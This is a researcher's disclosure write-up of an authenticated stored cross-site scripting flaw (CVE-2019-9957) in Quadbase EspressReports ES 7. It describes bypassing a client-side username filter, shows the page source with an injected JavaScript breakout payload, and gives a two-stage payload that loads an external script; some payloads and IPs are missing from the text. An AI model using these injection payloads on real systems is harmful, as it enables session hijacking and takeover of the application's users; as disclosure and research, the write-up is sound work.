Title: Authenticated Stored XSS – Espress Reports ES 7 (CVE-2019-9957)
Target: EspressReports ES Version 7 Update 7
Vendor: Quadbase
Vulnerability: Stored XSS
Brief: A client side username restriction can be bypassed leading to stored XSS payloads in the username field. The payload is then triggered when accessing the user list node graph. 

Example Information:
Attacker IP –
Server IP – (

During some research time at ECSC, I stumbled across a few bugs within a piece of software that I had previously seen in the wild. During this period I was able to find 2 specific vulnerabilities that were submitted for CVE ID’s (CVE-2019-9957 and CVE-2019-9958). Following the research time, I continued to analyse the target software in attempt to find more bugs and vulnerabilities.

Write Up

The only requirement the attacker needs to perform this XSS attack is the ability to create new user accounts. As this is a privileged action, it is unlikely that the attacker will have an administrator account (unless this is an insider threat), however, if we chain this vulnerability with the CSRF vulnerability discovered in CVE-2019-9958, we can utilise administrative functionality, including creating a new account.

For the purpose of this write up, we will assume we have the correct permissions and are able to create new user accounts via the admin panel.

Bypassing the username filter

When attempting to create a new user account, an alert box appears if the username contains illegal characters. 

During this process, I assumed this filtering was performed client-side before the request to the server was even made. What I should have done is checked the client-side source code in the browser, however I thought I would submit a “safe” username and catch the request in Burp. Upon catching the request in Burp, I tweaked the username parameter from a safe username to a malicious one that was previously caught. The following is the payload I attempted to inject into the username field.


Forwarding the altered request proved successful. I now had a user with a “malicious” payload stored on the server. 

Triggering and tweaking our payload

Now we know we can create a username was potentially malicious code as the value, we need to find a section of the website that pulls the usernames in to the body of the page and (hopefully) executes our payload. After crawling around various sections, I found a page that loaded the username and triggered our payload everytime. This was the “View User/Group Relationships” page located at “/ERES/Admin_GroupsUsers.jsp”. This presents all of the Users and Groups within a tree-like hierarchy.

Our initial payload didn’t appear to have any effect here, but as the screenshot above shows – we appear to have some strange behaviour on the 4th user. It doesn’t have a user icon and just presents the value “name”, so compared to the other 3 users, this looks like something has gone wrong.

The above screenshot was accomplished by using the following payload as the username of a new account:


At this point, you may be wondering why the payload appears to write something to a document (object d), logs our own signature to the console, closes the javascript object and finally comments everything out. This can be made more apparent by looking at the source of the target page, but the payload was generated over a number of failed attempts and tweaks. As far as I can see, the diagram is generated via javascript and writes objects to the document based on the information is receives from the backend. We can abuse this by gracefully escaping the generation code, completing the “write” functionality, execute our own malicious javascript and comment out the rest of the vendor’s code. This is shown in the following screenshot.

As we can see from above, the “name” value from the payload is the final entry in the document’s source, we can assume the additional JavaScript was executed and the rest was commented out. These comments were extremely helpful during debugging and step by step tweaks. 

The following code snippet is the source code from the page itself. We can see our payload (line 7) being placed correctly within the rest of the page’s code as if it were meant to be there!

<script type="text/javascript">
dTree.imgRoot = "lib/javascript/dtree/"; 
d = new dTree('d'); 
d.add(0,-1,"EspressReport ES Users & Groups [SECURITY LEVEL]","","","","Web_Component/ADMIN/Folder.gif","Web_Component/ADMIN/FolderOpen.gif", false); 
d.add(1,0,"admin","javascript:select('admin', false);","","","img/UserIcon.gif","img/UserIcon.gif", false, false, "admin");
d.add(2,0,"john_doe_adm","javascript:select('john_doe_adm', false);","","","img/UserIcon.gif","img/UserIcon.gif", false, false, "admin");
d.add(3,0,"low_level_user","javascript:select('low_level_user', false);","","","img/UserIcon.gif","img/UserIcon.gif", false, false, "viewer");
d.add(4,0,"name");document.write(d);console.log("ecsc-xss")</script><!--","javascript:select('name”);document.write(d);console.log(“ecsc-xss”)</script><!--', false);","","","img/UserIcon.gif","img/UserIcon.gif", false, false, "viewer");document.write(d);d.closeAll();</script>

Inspecting this, we can see exactly what is happening within the JavaScript code. To fully understand it, here is a small step by step of the payload (with relation to the source code):

  1. We add our “name” to the document and gracefully close the string value.
  2. We close the brackets for the current .add() function so JavaScript does not error.
  3. We make sure we .write() this to the document itself for completion.
  4. Embed our malicious code, in this case we log to the console.
  5. Finally, we comment out the rest of the code to prevent errors.


There is one issue with this method of storing a payload, and that is the way the value is stored. Everything appears to be set to lowercase upon storing – so this will likely present problems with your desired payloads considering JavaScript is a case sensitive language.

To get around this issue, we can create a “2 stage” payload. The first stage injects into the page as demonstrated above. This first stage will specifically exist to call the 2nd stage which can be an externally hosted payload. That way you bypass the case sensitive restrictions and can store a much larger payload, performing whatever actions you like. The following is an example of an external script I hosted:

function addElementsToPage() {
    var para = document.createElement("P");
    para.innerText = "We have gained source code injection via XSS :)";
    var btn = document.createElement("BUTTON");
    btn.innerHTML = "Unsafe features!"; 

This payload was then triggered by the following inline payload that was set to the value of the username:

name");document.write(d);</script><script src=“"</script><!--

Once hosted and triggered, the external script will be executed within the page and your 2 stage payload is complete!


Edit: Haven’t checked for a little bit.
There is currently no available fix from the vendor (as of June 15th, 2019).

CVE Details

23/03/2019 – CVE number assigned (CVE-2019-9957)
22/03/2019 – findings sent t0 and acknowledged by vendor
19/03/2019 – told vendor about findings